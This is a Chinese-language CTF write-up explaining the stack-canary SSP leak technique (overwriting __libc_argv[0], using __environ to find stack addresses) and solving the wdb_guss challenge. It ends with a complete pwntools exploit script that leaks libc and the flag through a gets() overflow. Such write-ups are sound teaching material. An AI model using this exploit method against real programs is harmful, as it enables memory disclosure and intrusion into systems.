本文最后更新于 2024年10月9日 上午
canary_ssp泄露
原理:
当程序运行时检测到canary 被破坏,会执行__stack_chk_fail
函数
并且打印
1
| *** stack smashing detected ***:./pwn(程序名) terminated
|

可以看到 程序名存在__libc_argv[0]
,如果我们能够通过溢出覆盖掉__libc_argv[0]
就可以实现任意地址泄露(高版本的libc
取消了这个打印)
利用:
这个泄露一般一直泄露libc
的地址,想要泄露栈的地址,就需要用到libc
中的__environ()函数
__environ 函数
这个函数是存储栈上的环境变量的,也就是说他的指向是栈地址,如果我知道想要泄露的flag在栈上与这个函数的偏移,就可以通过这个函数泄露出flag
例题:wdb_guss
丢入ida 可以看到有三个循环以及gets存在栈溢出
除此之外没有其他的洞


存在canary,并且flag已经存在栈上,那么可以用ssp攻击打印出flag
gdb调试找出输入点和指向__libc_argv[0]的地址的指针


算出偏移

所以第一条payload 的构造为
1
| payload=b'a'*0x128+p64(puts_got)
|
泄露出libc后就可以得到environ的地址,从而得到栈上的地址
所以第二个payload 的构造为
1 2 3 4 5 6 7 8
| real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(real))
base=real-libc.sym['puts'] environ=base+libc.sym['__environ'] print(hex(environ)) payload2=b'a'*0x128+p64(environ) io.sendline(payload2)
|
最后gdb 调试出flag距离environ的偏移得到flag的地址

得到偏移为0x168
所以flag的地址为environ-0x168
所以第三条payload的构造为
1 2 3 4
| io.recvuntil('stack smashing detected ***: ') buf_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x168 payload3=b'a'*0x128+p64(buf_addr) io.sendline(payload3)
|
运行打印出flag

最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import* io=process('./GUESS') context.log_level='debug' elf=ELF('./GUESS') libc=ELF('./libc1.so.6') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] io.recvuntil("Please type your guessing flag") payload=b'a'*0x128+p64(puts_got) io.sendline(payload) real=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(real))
base=real-libc.sym['puts'] environ=base+libc.sym['__environ'] print(hex(environ)) payload2=b'a'*0x128+p64(environ) io.sendline(payload2) io.recvuntil('stack smashing detected ***: ') buf_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x168 payload3=b'a'*0x128+p64(buf_addr) io.sendline(payload3) io.interactive()
|
